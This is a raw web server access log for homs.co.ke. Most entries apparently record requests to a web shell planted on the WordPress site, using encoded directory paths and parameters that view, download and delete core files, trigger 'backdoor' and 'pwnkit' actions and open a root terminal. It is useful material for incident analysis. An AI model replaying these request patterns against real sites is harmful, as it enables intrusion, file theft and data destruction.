"GET /?p=L2hvbWUz HTTP/1.1" 200 4104 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.153.86.78 - - [06/Mar/2026:13:57:45 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 49.51.50.147 - - [06/Mar/2026:14:11:35 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=block-template-utils.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.172.206 - - [06/Mar/2026:14:13:05 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-http-response.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.167 - - [06/Mar/2026:14:13:05 -0700] "GET /?act=edit&file=feed-atom.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.250 - - [06/Mar/2026:14:13:05 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=shortcodes.php HTTP/1.1" 200 13707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.180 - - [06/Mar/2026:14:13:06 -0700] "GET /?del=class-wp-font-face.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 200 6187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.155 - - [06/Mar/2026:14:13:08 -0700] "GET /?act=download&file=class-wp-tax-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.171 - - [06/Mar/2026:14:13:08 -0700] "GET /?act=download&file=load.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.133.91.48 - - [06/Mar/2026:14:22:06 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-template-utils.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.181.172 - - [06/Mar/2026:14:22:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2Uvc2tpbnM= HTTP/1.1" 200 4563 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.123 - - [06/Mar/2026:14:22:15 -0700] "GET /?act=download&file=robots-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.193 - - [06/Mar/2026:14:22:16 -0700] "GET /?act=download&file=streams.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 4164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.191 - - [06/Mar/2026:14:22:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=user.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.150 - - [06/Mar/2026:14:22:16 -0700] "GET /?act=download&file=robots-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=robots-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.100 - - [06/Mar/2026:14:22:17 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=user.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.20 - - [06/Mar/2026:14:22:17 -0700] "GET /?act=download&file=class-wp-metadata-lazyloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.82 - - [06/Mar/2026:14:22:18 -0700] "GET /?act=download&file=class-wp-metadata-lazyloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-metadata-lazyloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.193 - - [06/Mar/2026:14:24:24 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.150 - - [06/Mar/2026:14:24:24 -0700] "GET /?del=caa&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltM2Q0YTli HTTP/1.1" 200 5180 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.137 - - [06/Mar/2026:14:24:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ==&status=success HTTP/1.1" 200 5003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.168 - - [06/Mar/2026:14:24:24 -0700] "GET /?del=namespaced&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQ= HTTP/1.1" 200 5510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.12 - - [06/Mar/2026:14:24:24 -0700] "GET /?del=Core&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA== HTTP/1.1" 200 5071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 93.158.91.249 - - [06/Mar/2026:14:31:36 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" homs.co.ke 10.38.197.90 93.158.91.254 - - [06/Mar/2026:14:31:36 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" homs.co.ke 10.38.197.90 43.173.1.57 - - [06/Mar/2026:14:32:11 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=block-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 52.167.144.160 - - [06/Mar/2026:14:33:00 -0700] "GET /?n=6098064041440&mod=e1d47bee&uri=search.php%3Fid%3D204185-909%26name%3Dcustom+jordan+low+pink HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.159.149.56 - - [06/Mar/2026:14:41:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=bookmark-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 20.118.150.250 - - [06/Mar/2026:14:49:29 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-bindings-registry.php HTTP/1.0" 409 83 "http://homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" homs.co.ke 10.38.197.90 20.118.150.250 - - [06/Mar/2026:14:49:29 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-bindings-registry.php HTTP/1.0" 200 27273 "http://homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" homs.co.ke 10.38.197.90 43.130.26.3 - - [06/Mar/2026:14:54:05 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=cache.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 49.51.132.100 - - [06/Mar/2026:15:04:01 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=capabilities.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.181.109 - - [06/Mar/2026:15:04:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-script-modules.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.11 - - [06/Mar/2026:15:04:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=media.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.58 - - [06/Mar/2026:15:04:44 -0700] "GET /?act=download&file=class-wp-widget-factory.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.170 - - [06/Mar/2026:15:04:44 -0700] "GET /?del=class-wp-translation-file-php.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.91 - - [06/Mar/2026:15:04:44 -0700] "GET /?act=download&file=class-feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.209 - - [06/Mar/2026:15:04:44 -0700] "GET /?act=download&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.150 - - [06/Mar/2026:15:04:44 -0700] "GET /?act=download&file=option.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.153 - - [06/Mar/2026:15:04:45 -0700] "GET /?del=error_log&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.23 - - [06/Mar/2026:15:05:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-simplepie.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.4 - - [06/Mar/2026:15:05:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0 HTTP/1.1" 200 6963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.196 - - [06/Mar/2026:15:05:44 -0700] "GET /?act=download&file=class-phpmailer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.245 - - [06/Mar/2026:15:05:44 -0700] "GET /?act=download&file=php84compat_const.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 4260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.74 - - [06/Mar/2026:15:05:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-simplepie.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.38 - - [06/Mar/2026:15:05:45 -0700] "GET /?act=download&file=class-phpmailer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-phpmailer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.9 - - [06/Mar/2026:15:06:51 -0700] "GET /?del=class-wp-style-engine-css-declarations.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ== HTTP/1.1" 200 5490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 85.203.34.117 - - [06/Mar/2026:15:16:40 -0700] "GET /txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" mail.homs.co.ke 10.38.197.90 85.203.34.148 - - [06/Mar/2026:15:16:41 -0700] "GET /wp-content/txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" mail.homs.co.ke 10.38.197.90 85.203.34.152 - - [06/Mar/2026:15:16:41 -0700] "GET /wp-admin/txets.php HTTP/1.1" 406 226 "-" "Go-http-client/1.1" mail.homs.co.ke 10.38.197.90 43.173.172.60 - - [06/Mar/2026:15:23:15 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.209 - - [06/Mar/2026:15:24:20 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.173.174.157 - - [06/Mar/2026:15:30:21 -0700] "GET /?act=download&file=block-editor.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.37 - - [06/Mar/2026:15:30:21 -0700] "GET /?act=download&file=block-editor.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=block-editor.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.211 - - [06/Mar/2026:15:30:28 -0700] "GET /?act=download&file=class-phpmailer.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.86 - - [06/Mar/2026:15:30:29 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.20 - - [06/Mar/2026:15:30:29 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2VkaXQtcG9zdA== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.23 - - [06/Mar/2026:15:30:29 -0700] "GET /?act=download&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.91 - - [06/Mar/2026:15:30:30 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2VkaXQtcG9zdA==&terminal=root HTTP/1.1" 200 6117 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.220 - - [06/Mar/2026:15:30:30 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5&terminal=root HTTP/1.1" 200 5291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.107 - - [06/Mar/2026:15:33:24 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.79 - - [06/Mar/2026:15:35:25 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 6004 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.235 - - [06/Mar/2026:15:35:27 -0700] "GET /?act=download&file=native.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.172.52 - - [06/Mar/2026:15:35:27 -0700] "GET /?act=download&file=native.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 4264 "http://mail.homs.co.ke/?act=download&file=native.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.174.8 - - [06/Mar/2026:16:04:42 -0700] "GET /?del=error_log&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBp HTTP/1.1" 200 5296 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.196 - - [06/Mar/2026:16:04:42 -0700] "GET /?act=download&file=post-meta.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 200 4213 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.98 - - [06/Mar/2026:16:06:47 -0700] "GET /?del=search&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBp HTTP/1.1" 200 5296 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.15 - - [06/Mar/2026:16:06:47 -0700] "GET /?del=class-wp-sitemaps-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.206 - - [06/Mar/2026:16:06:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 5376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.232 - - [06/Mar/2026:16:06:48 -0700] "GET 